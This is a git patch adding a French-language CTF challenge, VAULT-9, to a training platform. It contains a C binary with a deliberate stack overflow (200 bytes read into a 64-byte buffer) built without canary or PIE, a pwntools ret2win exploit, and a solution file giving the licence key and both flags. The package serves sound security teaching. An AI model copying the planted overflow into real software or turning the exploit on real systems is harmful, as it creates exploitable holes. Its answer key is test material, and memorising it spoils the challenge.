From 1c8c090bcefed3b34fc5eafcb4153493a8982d16 Mon Sep 17 00:00:00 2001 From: Jakub WERLINSKI Date: Mon, 20 Jul 2026 16:58:46 +0200 Subject: [PATCH] =?UTF-8?q?feat(red):=20challenge=20Red=20Team=203=20VAULT?= =?UTF-8?q?-9=20(reverse=20XOR=20+=20ret2win,=20flags=20hors=20d=C3=A9p?= =?UTF-8?q?=C3=B4t=20via=20challenge.env)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../3-Red-Team-Binary-Vault/.dockerignore | 6 + challenges/3-Red-Team-Binary-Vault/.gitignore | 10 ++ challenges/3-Red-Team-Binary-Vault/Dockerfile | 41 +++++++ challenges/3-Red-Team-Binary-Vault/README.md | 60 +++++++++ .../3-Red-Team-Binary-Vault/challenge/vault.c | 98 +++++++++++++++ .../docker-compose.yml | 17 +++ .../docker-entrypoint.sh | 6 + .../docs/ADMIN_DEPLOYMENT.md | 114 ++++++++++++++++++ .../docs/USER_GUIDE.md | 45 +++++++ .../report/report_template.md | 35 ++++++ .../setup/challenge.env.example | 22 ++++ .../setup/gen_secret.py | 93 ++++++++++++++ .../solution/SOLUTION.md | 71 +++++++++++ .../solution/exploit.py | 51 ++++++++ 14 files changed, 669 insertions(+) create mode 100644 challenges/3-Red-Team-Binary-Vault/.dockerignore create mode 100644 challenges/3-Red-Team-Binary-Vault/.gitignore create mode 100644 challenges/3-Red-Team-Binary-Vault/Dockerfile create mode 100644 challenges/3-Red-Team-Binary-Vault/README.md create mode 100644 challenges/3-Red-Team-Binary-Vault/challenge/vault.c create mode 100644 challenges/3-Red-Team-Binary-Vault/docker-compose.yml create mode 100644 challenges/3-Red-Team-Binary-Vault/docker-entrypoint.sh create mode 100644 challenges/3-Red-Team-Binary-Vault/docs/ADMIN_DEPLOYMENT.md create mode 100644 challenges/3-Red-Team-Binary-Vault/docs/USER_GUIDE.md create mode 100644 challenges/3-Red-Team-Binary-Vault/report/report_template.md create mode 100644 challenges/3-Red-Team-Binary-Vault/setup/challenge.env.example create mode 100644 challenges/3-Red-Team-Binary-Vault/setup/gen_secret.py create mode 100644 challenges/3-Red-Team-Binary-Vault/solution/SOLUTION.md create mode 100644 challenges/3-Red-Team-Binary-Vault/solution/exploit.py diff --git a/challenges/3-Red-Team-Binary-Vault/.dockerignore b/challenges/3-Red-Team-Binary-Vault/.dockerignore new file mode 100644 index 0000000..8e72eb0 --- /dev/null +++ b/challenges/3-Red-Team-Binary-Vault/.dockerignore @@ -0,0 +1,6 @@ +solution/ +docs/ +report/ +README.md +docker-compose.yml +*.md diff --git a/challenges/3-Red-Team-Binary-Vault/.gitignore b/challenges/3-Red-Team-Binary-Vault/.gitignore new file mode 100644 index 0000000..79e2095 --- /dev/null +++ b/challenges/3-Red-Team-Binary-Vault/.gitignore @@ -0,0 +1,10 @@ +# Secrets reels du challenge -- ne JAMAIS committer (voir challenge.env.example) +challenge.env + +# Artefacts generes au build -- ne pas committer. +secret.h +flag1.txt +flag2.txt +vault +*.o +__pycache__/ diff --git a/challenges/3-Red-Team-Binary-Vault/Dockerfile b/challenges/3-Red-Team-Binary-Vault/Dockerfile new file mode 100644 index 0000000..8d9cc03 --- /dev/null +++ b/challenges/3-Red-Team-Binary-Vault/Dockerfile @@ -0,0 +1,41 @@ +# VAULT-9 -- Red Team 3 (reverse + exploitation binaire) +# Build : le binaire est compile sans protections modernes (no PIE, +# no stack canary) pour rendre le ret2win faisable en intermediaire. +FROM debian:12-slim + +RUN apt-get update && \ + apt-get install -y --no-install-recommends \ + gcc libc6-dev socat python3 && \ + rm -rf /var/lib/apt/lists/* + +RUN useradd -m -s /usr/sbin/nologin ctf + +# Secrets fournis au build (priorite sur setup/challenge.env). Vides par +# defaut -> gen_secret.py utilise challenge.env ou des placeholders. +ARG LICENSE="" +ARG FLAG1="" +ARG FLAG2="" +ARG XOR_KEY="" + +WORKDIR /build +COPY challenge/vault.c ./vault.c +COPY setup/ ./setup/ + +# Genere secret.h + flags, compile, installe dans /challenge. +RUN LICENSE="$LICENSE" FLAG1="$FLAG1" FLAG2="$FLAG2" XOR_KEY="$XOR_KEY" \ + python3 setup/gen_secret.py && \ + gcc -fno-stack-protector -no-pie -fno-pie -O0 -w -o vault vault.c && \ + mkdir -p /challenge && \ + cp vault /challenge/vault && \ + cp flag1.txt flag2.txt /challenge/ && \ + chmod 0555 /challenge/vault && \ + chmod 0444 /challenge/flag1.txt /challenge/flag2.txt && \ + rm -rf /build + +COPY docker-entrypoint.sh /usr/local/bin/entrypoint.sh +RUN chmod +x /usr/local/bin/entrypoint.sh + +WORKDIR /challenge +EXPOSE 9003 +USER ctf +ENTRYPOINT ["/usr/local/bin/entrypoint.sh"] diff --git a/challenges/3-Red-Team-Binary-Vault/README.md b/challenges/3-Red-Team-Binary-Vault/README.md new file mode 100644 index 0000000..25d9fca --- /dev/null +++ b/challenges/3-Red-Team-Binary-Vault/README.md @@ -0,0 +1,60 @@ +# 🔮 Red Team 3 — VAULT-9 (Reverse & Exploitation binaire) + +### Challenge Jakub — niveau intermĂ©diaire + +Premier challenge de **pwn** de la plateforme RootMeUp : un binaire Linux Ă  +rĂ©tro-ingĂ©nier puis Ă  exploiter. Conçu pour combler l'Ă©cart entre les Blue Team +(accessibles) et les Red Team 1 & 2 (Linux/web). + +## 📌 Documentation + +- Guide joueur : [`docs/USER_GUIDE.md`](docs/USER_GUIDE.md) +- Guide admin / dĂ©ploiement : [`docs/ADMIN_DEPLOYMENT.md`](docs/ADMIN_DEPLOYMENT.md) +- Solution (⚠ spoilers) : [`solution/SOLUTION.md`](solution/SOLUTION.md) + +## 🎯 RĂ©sumĂ© + +| | | +|---|---| +| CatĂ©gorie | Red Team — Reverse + Exploitation binaire | +| DifficultĂ© | IntermĂ©diaire | +| Flags | 2 (progressifs) | +| AccĂšs | `nc ` (instance Docker par Ă©quipe) | +| CompĂ©tences | reverse (XOR), dĂ©bordement de tampon, ret2win, pwntools | + +## đŸ§© DĂ©roulĂ© + +1. **Reverse** — la console vĂ©rifie une licence obfusquĂ©e en XOR (`check_license`). Le joueur rĂ©cupĂšre la clĂ© → **flag 1**. +2. **Exploitation** — le terminal de maintenance dĂ©borde `buf[64]` (lecture de 200 octets). Le joueur dĂ©tourne l'exĂ©cution (`ret2win`) vers la fonction cachĂ©e `vault()` → **flag 2**. + +## 📁 Structure + +``` +3-Red-Team-Binary-Vault/ +├── README.md +├── Dockerfile ← build + service socat (port 9003) +├── docker-compose.yml ← test local +├── docker-entrypoint.sh +├── challenge/ +│ └── vault.c ← source du binaire (sans secret en clair) +├── setup/ +│ └── gen_secret.py ← gĂ©nĂšre secret.h + flags au build (⚠ spoiler) +├── docs/ +│ ├── USER_GUIDE.md +│ └── ADMIN_DEPLOYMENT.md +├── solution/ +│ ├── SOLUTION.md ← ⚠ spoilers +│ └── exploit.py ← exploit pwntools (testĂ©) +└── report/ + └── report_template.md +``` + +## ⚙ Build rapide + +```bash +docker compose up --build -d # Ă©coute sur 9003 +nc 127.0.0.1 9003 +docker compose down +``` + +> Artefacts gĂ©nĂ©rĂ©s (`secret.h`, `flag*.txt`, `vault`) : ignorĂ©s par git, jamais committĂ©s. diff --git a/challenges/3-Red-Team-Binary-Vault/challenge/vault.c b/challenges/3-Red-Team-Binary-Vault/challenge/vault.c new file mode 100644 index 0000000..2b0aa86 --- /dev/null +++ b/challenges/3-Red-Team-Binary-Vault/challenge/vault.c @@ -0,0 +1,98 @@ +/* + * VAULT-9 :: Console d'administration + * Challenge Red Team 3 (intermediaire) - RootMeUp + * + * Deux etapes : + * 1. Reverse : contourner la verification de licence (obfusquee en XOR). + * 2. Exploitation : debordement de tampon (ret2win) vers vault(). + * + * secret.h est genere au build par setup/gen_secret.py : il contient + * la licence encodee en XOR (jamais le texte en clair) afin que `strings` + * sur le binaire distribue ne revele pas la solution. + */ +#include +#include +#include +#include +#include +#include "secret.h" /* LICENSE_ENC[], LICENSE_LEN, XOR_KEY */ + +char flag1[128]; +char flag2[128]; + +static void load_flag(const char *path, char *dst, size_t n) +{ + int fd = open(path, O_RDONLY); + if (fd < 0) { strncpy(dst, "FLAG_MANQUANT", n); dst[n - 1] = 0; return; } + ssize_t r = read(fd, dst, n - 1); + if (r < 0) r = 0; + dst[r] = 0; + char *nl = strchr(dst, '\n'); + if (nl) *nl = 0; + close(fd); +} + +static void setup(void) +{ + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + load_flag("/challenge/flag1.txt", flag1, sizeof(flag1)); + load_flag("/challenge/flag2.txt", flag2, sizeof(flag2)); +} + +/* Etape 2 : fonction "gagnante" jamais atteinte par le flux normal. */ +void vault(void) +{ + puts(""); + puts("[+] Coffre deverrouille -- acces au module memoire protege accorde."); + printf("[+] flag 2: %s\n", flag2); + fflush(stdout); + _exit(0); +} + +/* Etape 1 : la licence attendue est stockee XORee avec XOR_KEY. */ +static int check_license(const char *input) +{ + if (strlen(input) != LICENSE_LEN) + return 0; + for (size_t i = 0; i < LICENSE_LEN; i++) { + if ((unsigned char)(input[i] ^ XOR_KEY) != LICENSE_ENC[i]) + return 0; + } + return 1; +} + +/* Debordement volontaire : read() ecrit jusqu'a 200 octets dans buf[64]. */ +static void access_terminal(void) +{ + char buf[64]; + puts(""); + puts("=== Terminal de maintenance ==="); + printf("Commande > "); + read(0, buf, 200); + printf("Commande '%s' non reconnue.\n", buf); +} + +int main(void) +{ + setup(); + + char license[128]; + puts("========================================"); + puts(" VAULT-9 :: Console d'administration "); + puts("========================================"); + printf("Cle de licence > "); + if (!fgets(license, sizeof(license), stdin)) + return 0; + license[strcspn(license, "\r\n")] = 0; + + if (check_license(license)) { + puts("[+] Licence valide. Bienvenue, administrateur."); + printf("[+] Preuve d'acces (flag 1): %s\n", flag1); + access_terminal(); + } else { + puts("[-] Licence invalide. Acces refuse."); + } + return 0; +} diff --git a/challenges/3-Red-Team-Binary-Vault/docker-compose.yml b/challenges/3-Red-Team-Binary-Vault/docker-compose.yml new file mode 100644 index 0000000..311f9fa --- /dev/null +++ b/challenges/3-Red-Team-Binary-Vault/docker-compose.yml @@ -0,0 +1,17 @@ +# Deploiement local pour tests. En production, le plugin +# CTFdDockerContainersPlugin gere l'allocation dynamique du port. +services: + vault: + build: + context: . + # Optionnel : surcharge les secrets via l'environnement du shell. + # Sinon, gen_secret.py lit setup/challenge.env (voir .env.example). + args: + LICENSE: ${LICENSE:-} + FLAG1: ${FLAG1:-} + FLAG2: ${FLAG2:-} + XOR_KEY: ${XOR_KEY:-} + container_name: rt3-vault + ports: + - "9003:9003" + restart: unless-stopped diff --git a/challenges/3-Red-Team-Binary-Vault/docker-entrypoint.sh b/challenges/3-Red-Team-Binary-Vault/docker-entrypoint.sh new file mode 100644 index 0000000..24156ce --- /dev/null +++ b/challenges/3-Red-Team-Binary-Vault/docker-entrypoint.sh @@ -0,0 +1,6 @@ +#!/bin/sh +# Sert le binaire vulnerable : une instance par connexion TCP. +set -e +PORT="${CHALLENGE_PORT:-9003}" +echo "[*] VAULT-9 en ecoute sur le port ${PORT}" +exec socat -T120 TCP-LISTEN:"${PORT}",reuseaddr,fork EXEC:"/challenge/vault",stderr diff --git a/challenges/3-Red-Team-Binary-Vault/docs/ADMIN_DEPLOYMENT.md b/challenges/3-Red-Team-Binary-Vault/docs/ADMIN_DEPLOYMENT.md new file mode 100644 index 0000000..9ad0496 --- /dev/null +++ b/challenges/3-Red-Team-Binary-Vault/docs/ADMIN_DEPLOYMENT.md @@ -0,0 +1,114 @@ +# Guide admin / dĂ©ploiement — VAULT-9 (Red Team 3) + +## RĂ©sumĂ© technique + +| ÉlĂ©ment | Valeur | +|---|---| +| Type CTFd | Container (plugin CTFdDockerContainersPlugin) | +| Port interne | `9003` (TCP, servi par `socat`, une instance/connexion) | +| Fichier Ă  joindre au challenge | le binaire **`vault`** (voir extraction ci-dessous) | +| Flags | 2 — voir `solution/SOLUTION.md` | +| Compilation | `-fno-stack-protector -no-pie -fno-pie -O0` | + +Les secrets (licence, flags) sont gĂ©nĂ©rĂ©s au build par `setup/gen_secret.py` et **ne sont pas embarquĂ©s** dans le binaire (lus depuis `/challenge/flag*.txt` au runtime). `strings vault` ne rĂ©vĂšle donc rien. + +> ✅ **ValidĂ© bout-en-bout en conteneur Docker le 20/07/2026** : build OK, +> service accessible sur 9003, exploit `solution/exploit.py` rĂ©cupĂšre les 2 flags. + +## Fournir les flags (ne PAS les committer) + +Les vrais flags **ne sont plus stockĂ©s dans le dĂ©pĂŽt**. Avant de builder, fournissez-les +par l'un des deux moyens (l'environnement a prioritĂ© sur le fichier) : + +**Option A — fichier `challenge.env` (recommandĂ©)** +```bash +cd challenges/3-Red-Team-Binary-Vault/setup +cp challenge.env.example challenge.env +$EDITOR challenge.env # renseigner LICENSE, FLAG1, FLAG2 +``` +`challenge.env` est gitignorĂ© : il ne partira jamais dans git. Il est inclus dans le +contexte de build et lu automatiquement par `gen_secret.py`. + +**Option B — build-args / variables d'environnement** +```bash +docker build -t rt3-vault \ + --build-arg LICENSE='...' --build-arg FLAG1='RM{...}' --build-arg FLAG2='RM{...}' . +# ou, avec docker-compose : export FLAG1=... FLAG2=... LICENSE=... puis docker-compose build +``` + +Si aucune source n'est fournie, le build **rĂ©ussit quand mĂȘme** mais avec des flags +**placeholders** (`RM{PLACEHOLDER_...}`) et un avertissement — utile pour un test Ă  blanc, +inutilisable en prod. + +> ⚠ **Rotation** : les flags d'origine ont Ă©tĂ© committĂ©s publiquement avant ce changement. +> Ils restent visibles dans l'historique git. Choisissez de **nouveaux flags** dans +> `challenge.env` (et mettez-les Ă  jour dans CTFd) pour que les anciens deviennent inutiles. + +## PrĂ©requis / piĂšges courants + +- **Compose v1 vs v2** : `docker compose` (avec espace) n'existe qu'avec le plugin v2. + Sur Kali/Debian, le paquet `docker-compose` (2.40.x) fournit la commande + **`docker-compose`** (avec tiret). Si `docker compose up --build` renvoie + `unknown flag: --build`, utilisez `docker-compose` ou la mĂ©thode build/run manuelle ci-dessous. +- **Droits Docker** : si le user n'est pas dans le groupe `docker`, prĂ©fixer chaque + commande par `sudo` (sinon `permission denied ... /var/run/docker.sock`). + +## Build & test local + +```bash +cd challenges/3-Red-Team-Binary-Vault +docker-compose up --build -d # ou : docker compose up --build -d (plugin v2) +# le service Ă©coute sur le port 9003 +nc 127.0.0.1 9003 +``` + +Sans Compose (marche partout) : + +```bash +docker build -t rt3-vault . +docker run -d -p 9003:9003 --name rt3-vault rt3-vault +``` + +Test automatique de la solution : + +```bash +# extraire le binaire de l'image dans solution/, puis lancer l'exploit : +docker cp rt3-vault:/challenge/vault solution/vault +cd solution && python3 exploit.py 127.0.0.1 9003 +``` + +ArrĂȘt : + +```bash +docker compose down +``` + +## Extraire le binaire Ă  distribuer + +Le joueur doit tĂ©lĂ©charger le **mĂȘme** binaire que celui dĂ©ployĂ© : + +```bash +docker compose up --build -d +docker cp rt3-vault:/challenge/vault ./vault +docker compose down +``` + +Joindre `./vault` comme fichier du challenge dans CTFd. **Ne jamais** joindre `flag1.txt`, `flag2.txt` ni `secret.h`. + +## IntĂ©gration CTFd (plugin conteneurs) + +1. Builder l'image sur l'hĂŽte Docker de la VM (`docker build -t rt3-vault .`). +2. Dans CTFd → challenge de type **Container** : image `rt3-vault`, port interne **9003**. +3. Renseigner les 2 flags (sensibles Ă  la casse), en points progressifs. +4. Joindre le binaire `vault` (fichier tĂ©lĂ©chargeable). +5. Tester le **Start Instance** avec un compte non-admin (IP + port dynamique allouĂ©s par le plugin). + +## SĂ©curitĂ© de dĂ©ploiement + +- Le conteneur tourne en utilisateur non privilĂ©giĂ© `ctf`, `nologin`. +- Le binaire est volontairement vulnĂ©rable **mais confinĂ© au conteneur** : aucun accĂšs hĂŽte, pas de shell exposĂ© (le ret2win n'offre qu'un `puts` du flag, pas de RCE arbitraire). +- `socat` limite chaque session (`-T120`, timeout 120 s) pour Ă©viter les connexions pendantes. + +## Modifier les flags / la licence + +Éditer `setup/gen_secret.py` (constantes `LICENSE`, `XOR_KEY`, `FLAG1`, `FLAG2`) puis rebuilder. Penser Ă  rĂ©gĂ©nĂ©rer/rejoindre le binaire et Ă  mettre Ă  jour les flags dans CTFd. diff --git a/challenges/3-Red-Team-Binary-Vault/docs/USER_GUIDE.md b/challenges/3-Red-Team-Binary-Vault/docs/USER_GUIDE.md new file mode 100644 index 0000000..d51b297 --- /dev/null +++ b/challenges/3-Red-Team-Binary-Vault/docs/USER_GUIDE.md @@ -0,0 +1,45 @@ +# 🔮 VAULT-9 — Guide du joueur + +**CatĂ©gorie :** Red Team — Reverse & Exploitation binaire +**DifficultĂ© :** IntermĂ©diaire +**Flags :** 2 (progressifs) + +## 📖 Contexte + +L'entreprise **Meridian Corp** protĂšge son module mĂ©moire sensible derriĂšre une console d'administration maison, `VAULT-9`. Un binaire de cette console a fuitĂ©. Votre Ă©quipe doit dĂ©montrer qu'il est vulnĂ©rable : contourner sa licence, puis en prendre le contrĂŽle pour ouvrir le coffre. + +## 🎯 Objectifs + +1. **Flag 1** — Contourner la vĂ©rification de licence du binaire. +2. **Flag 2** — Prendre le contrĂŽle de l'exĂ©cution pour atteindre la routine qui ouvre le coffre. + +Format des flags : `RM{...}` (sensible Ă  la casse). + +## 🔌 AccĂšs + +1. TĂ©lĂ©chargez le binaire **`vault`** fourni avec le challenge dans CTFd. +2. DĂ©marrez l'instance (**Start Instance**) : vous obtenez une **IP** et un **port**. +3. Connectez-vous au service : + + ```bash + nc + ``` + +Le binaire tĂ©lĂ©chargĂ© est **identique** Ă  celui qui tourne sur l'instance : analysez-le en local, exploitez-le Ă  distance. + +## 🧰 Outils suggĂ©rĂ©s + +- **Reverse** : `Ghidra`, `IDA Free`, `radare2`/`Cutter`, ou simplement `objdump -d vault`. +- **Exploitation** : `pwntools` (Python), `gdb` + `pwndbg`/`gef`. +- **Recon** : `file vault`, `checksec vault`, `strings vault`. + +## đŸȘœ Pistes (sans spoiler) + +- Étape 1 : commencez par `file` et `checksec`. Cherchez la fonction qui valide la licence. Quelle **opĂ©ration** est appliquĂ©e Ă  votre saisie avant la comparaison ? La donnĂ©e de rĂ©fĂ©rence est en clair dans le binaire
 mais transformĂ©e. +- Étape 2 : une fois « administrateur », le terminal de maintenance lit votre entrĂ©e. Combien d'octets accepte-t-il vraiment vs la taille du tampon ? Existe-t-il une fonction **intĂ©ressante jamais appelĂ©e** ? + +## ✅ Validation + +Soumettez chaque flag dans CTFd. Le flag 1 se trouve dĂšs l'accĂšs administrateur ; le flag 2 nĂ©cessite de dĂ©tourner l'exĂ©cution. + +Bon courage — et n'oubliez pas : *ne codez jamais un secret en dur.* 😉 diff --git a/challenges/3-Red-Team-Binary-Vault/report/report_template.md b/challenges/3-Red-Team-Binary-Vault/report/report_template.md new file mode 100644 index 0000000..2eb497e --- /dev/null +++ b/challenges/3-Red-Team-Binary-Vault/report/report_template.md @@ -0,0 +1,35 @@ +# Rapport — VAULT-9 (Red Team 3) + +- **Équipe :** ______________________ +- **Date :** ______________________ + +## Reconnaissance + +- Sortie de `file vault` : ______________________ +- Sortie de `checksec vault` : ______________________ + +## Étape 1 — Reverse de la licence + +- Fonction identifiĂ©e : ______________________ +- Transformation appliquĂ©e Ă  l'entrĂ©e : ______________________ +- Licence rĂ©cupĂ©rĂ©e : ______________________ +- **Flag 1 :** ______________________ + +## Étape 2 — Exploitation + +- Fonction vulnĂ©rable : ______________________ +- Taille du tampon / octets lus : ______________________ +- Offset jusqu'Ă  l'adresse de retour : ______________________ +- Fonction cible (ret2win) et son adresse : ______________________ +- Remarque sur l'alignement de pile : ______________________ +- **Flag 2 :** ______________________ + +## Exploit + +``` +(coller le script ou les commandes utilisĂ©es) +``` + +## RemĂ©diation proposĂ©e + +- ______________________ (ex : canari de pile, PIE, ne pas coder de secret en dur, `read` bornĂ©) diff --git a/challenges/3-Red-Team-Binary-Vault/setup/challenge.env.example b/challenges/3-Red-Team-Binary-Vault/setup/challenge.env.example new file mode 100644 index 0000000..d343ac8 --- /dev/null +++ b/challenges/3-Red-Team-Binary-Vault/setup/challenge.env.example @@ -0,0 +1,22 @@ +# ===================================================================== +# Modele de configuration des secrets du challenge VAULT-9. +# +# 1. Copiez ce fichier : cp challenge.env.example challenge.env +# 2. Renseignez les VRAIES valeurs dans challenge.env +# 3. challenge.env est gitignore : il ne sera jamais committe. +# +# Alternative : passer ces valeurs en --build-arg au docker build +# (les variables d'environnement ont priorite sur ce fichier). +# ===================================================================== + +# Licence attendue par l'etape reverse (etape 1) +LICENSE=exemple_a_changer + +# Flag de l'etape reverse (etape 1) +FLAG1=RM{exemple_flag_reverse_a_changer} + +# Flag de l'etape exploitation ret2win (etape 2) +FLAG2=RM{exemple_flag_pwn_a_changer} + +# Cle de XOR mono-octet (0x.. ou decimal). Non sensible, defaut 0x5c. +XOR_KEY=0x5c diff --git a/challenges/3-Red-Team-Binary-Vault/setup/gen_secret.py b/challenges/3-Red-Team-Binary-Vault/setup/gen_secret.py new file mode 100644 index 0000000..cbc2575 --- /dev/null +++ b/challenges/3-Red-Team-Binary-Vault/setup/gen_secret.py @@ -0,0 +1,93 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# ===================================================================== +# gen_secret.py -- generateur mainteneur (execute au build Docker) +# +# Genere secret.h (licence XORee) + flag1.txt / flag2.txt. +# +# Les valeurs sensibles (licence, flags) ne sont PLUS ecrites en dur ici : +# elles proviennent, par ordre de priorite, +# 1. des variables d'environnement (ex: passees en --build-arg), +# 2. du fichier `challenge.env` place a cote de ce script (gitignore), +# 3. a defaut, de placeholders inoffensifs (le build reussit mais les +# flags ne sont pas les vrais -> un avertissement est affiche). +# +# Voir challenge.env.example pour le modele a copier en challenge.env. +# ===================================================================== + +import os +import sys + +SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) +ENV_FILE = os.path.join(SCRIPT_DIR, "challenge.env") + +# Placeholders : PAS les vrais flags. Le build reste fonctionnel pour les +# tests, mais ces valeurs doivent etre remplacees via challenge.env / build-arg. +PLACEHOLDERS = { + "LICENSE": "CHANGEME_license_a_definir", + "FLAG1": "RM{PLACEHOLDER_definir_dans_challenge_env}", + "FLAG2": "RM{PLACEHOLDER_definir_dans_challenge_env}", + "XOR_KEY": "0x5c", +} + + +def load_env_file(path): + """Parse simple d'un fichier KEY=VALUE (lignes vides / # ignorees).""" + values = {} + if not os.path.isfile(path): + return values + with open(path, encoding="utf-8") as f: + for line in f: + line = line.strip() + if not line or line.startswith("#") or "=" not in line: + continue + key, _, val = line.partition("=") + values[key.strip()] = val.strip().strip('"').strip("'") + return values + + +def resolve(name, file_values): + """env var (non vide) > challenge.env > placeholder.""" + env = os.environ.get(name) + if env: + return env, "env" + if file_values.get(name): + return file_values[name], "challenge.env" + return PLACEHOLDERS[name], "placeholder" + + +def main(): + file_values = load_env_file(ENV_FILE) + + license_, s1 = resolve("LICENSE", file_values) + flag1, s2 = resolve("FLAG1", file_values) + flag2, s3 = resolve("FLAG2", file_values) + xor_raw, _ = resolve("XOR_KEY", file_values) + xor_key = int(xor_raw, 0) & 0xFF # accepte 0x.. ou decimal + + if "placeholder" in (s1, s2, s3): + print("[gen_secret] /!\\ ATTENTION : valeurs par defaut (placeholders) " + "utilisees. Definissez challenge.env ou passez les build-args " + "(LICENSE, FLAG1, FLAG2). Voir challenge.env.example.", + file=sys.stderr) + + enc = ", ".join(str(b ^ xor_key) for b in license_.encode()) + with open("secret.h", "w") as f: + f.write("#ifndef SECRET_H\n#define SECRET_H\n") + f.write("/* Genere par gen_secret.py -- ne pas editer a la main. */\n") + f.write(f"#define XOR_KEY 0x{xor_key:02x}\n") + f.write(f"#define LICENSE_LEN {len(license_)}\n") + f.write(f"static const unsigned char LICENSE_ENC[] = {{ {enc} }};\n") + f.write("#endif\n") + + with open("flag1.txt", "w") as f: + f.write(flag1 + "\n") + with open("flag2.txt", "w") as f: + f.write(flag2 + "\n") + + print(f"[gen_secret] secret.h + flags generes " + f"(licence:{s1}, flag1:{s2}, flag2:{s3}).") + + +if __name__ == "__main__": + main() diff --git a/challenges/3-Red-Team-Binary-Vault/solution/SOLUTION.md b/challenges/3-Red-Team-Binary-Vault/solution/SOLUTION.md new file mode 100644 index 0000000..2750c96 --- /dev/null +++ b/challenges/3-Red-Team-Binary-Vault/solution/SOLUTION.md @@ -0,0 +1,71 @@ +# Solution — VAULT-9 (Red Team 3) ⚠ SPOILERS + +Challenge intermĂ©diaire en deux Ă©tapes : **reverse** puis **exploitation binaire (ret2win)**. + +- **Flag 1** : `RM{r3v3rs3_l3_x0r_c0mm3_un_pr0}` +- **Flag 2** : `RM{r3t2w1n_l4_v4ult_3st_0uv3rt3}` + +Le binaire est compilĂ© **sans canari de pile et sans PIE** (`-fno-stack-protector -no-pie`), ce qui rend le ret2win rĂ©alisable au niveau intermĂ©diaire. + +``` +$ checksec vault + Arch: amd64 + RELRO: Partial + Stack: No canary found + NX: enabled + PIE: No PIE (0x400000) +``` + +## Étape 1 — Reverse de la licence + +En dĂ©sassemblant `check_license()` (Ghidra, IDA, ou `objdump -d`), on voit : +- la longueur attendue est **16** ; +- chaque octet saisi est **XORĂ© avec `0x5C`** puis comparĂ© Ă  un tableau constant `LICENSE_ENC` en `.rodata`. + +La licence est donc `LICENSE_ENC ^ 0x5C`. RĂ©cupĂ©ration rapide : + +```python +enc = [41, 50, 48, 108, 63, 55, 3, 40, 52, 111, 3, 42, 104, 41, 48, 40] +print(bytes(b ^ 0x5C for b in enc).decode()) # -> unl0ck_th3_v4ult +``` + +En saisissant `unl0ck_th3_v4ult`, le programme affiche le **flag 1** et donne accĂšs au « terminal de maintenance ». + +## Étape 2 — DĂ©bordement de tampon (ret2win) + +`access_terminal()` lit **200 octets** via `read()` dans `buf[64]` → dĂ©bordement. + +Cartographie de la pile : + +``` +[ buf : 64 octets ] <- rbp-0x40 +[ rbp sauvegardĂ© : 8 ] +[ adresse de retour : 8 ] <- cible +``` + +Offset jusqu'Ă  l'adresse de retour = **64 + 8 = 72**. + +La fonction `vault()` (jamais appelĂ©e par le flux normal) affiche le flag 2. Il suffit de rediriger l'exĂ©cution vers elle. Un gadget `ret` est insĂ©rĂ© avant l'adresse de `vault()` pour **rĂ©aligner la pile sur 16 octets** (sinon `movaps` dans `printf`/`puts` peut faire crasher). + +``` +payload = b"A"*72 + p64(ret_gadget) + p64(vault) +``` + +## Exploit automatisĂ© + +`exploit.py` (pwntools) enchaĂźne les deux Ă©tapes : + +```bash +# rĂ©cupĂ©rer le binaire distribuĂ© dans le dossier courant, puis : +python3 exploit.py +``` + +Sortie attendue : + +``` +[+] vault() @ 0x401334 +[+] Flag 1 : RM{r3v3rs3_l3_x0r_c0mm3_un_pr0} +[+] Flag 2 : RM{r3t2w1n_l4_v4ult_3st_0uv3rt3} +``` + +> TestĂ© et validĂ© le 20/07/2026, **en conteneur Docker** : build OK, chaĂźne complĂšte fonctionnelle (offset 72, gadget `ret` pour l'alignement, ret2win vers `vault` @ `0x401334`). Les 2 flags sont rĂ©cupĂ©rĂ©s par `exploit.py`. diff --git a/challenges/3-Red-Team-Binary-Vault/solution/exploit.py b/challenges/3-Red-Team-Binary-Vault/solution/exploit.py new file mode 100644 index 0000000..4e3d0d1 --- /dev/null +++ b/challenges/3-Red-Team-Binary-Vault/solution/exploit.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# ===================================================================== +# Solution de reference -- VAULT-9 (Red Team 3) /!\ SPOILER +# +# Usage : +# python3 exploit.py +# (necessite le binaire ./vault dans le repertoire courant) +# +# Chaine : +# Etape 1 (reverse) : la licence est stockee XORee avec 0x5C. +# licence = LICENSE_ENC ^ 0x5C = "unl0ck_th3_v4ult" +# Etape 2 (pwn) : debordement de buf[64] dans access_terminal(). +# offset RIP = 64 + 8 (rbp) = 72 +# ret2win vers vault(), precede d'un gadget `ret` +# pour realigner la pile sur 16 octets (movaps). +# ===================================================================== +import sys +from pwn import * + +context.log_level = "info" + +HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" +PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 9003 +LICENSE = b"unl0ck_th3_v4ult" + +elf = ELF("./vault") +vault_addr = elf.symbols["vault"] +ret_gadget = next(elf.search(asm("ret"), executable=True)) +log.info("vault() @ %#x", vault_addr) +log.info("ret gadget @ %#x", ret_gadget) + +io = remote(HOST, PORT) + +# --- Etape 1 : licence recuperee par reverse --- +io.sendlineafter(b"licence > ", LICENSE) +io.recvuntil(b"flag 1): ") +flag1 = io.recvline().strip().decode() +log.success("Flag 1 : %s", flag1) + +# --- Etape 2 : ret2win --- +payload = b"A" * 72 # 64 (buf) + 8 (rbp sauvegarde) +payload += p64(ret_gadget) # alignement de pile +payload += p64(vault_addr) # detournement vers vault() +io.sendlineafter(b"Commande > ", payload) + +io.recvuntil(b"flag 2: ") +flag2 = io.recvline().strip().decode() +log.success("Flag 2 : %s", flag2) + +io.close()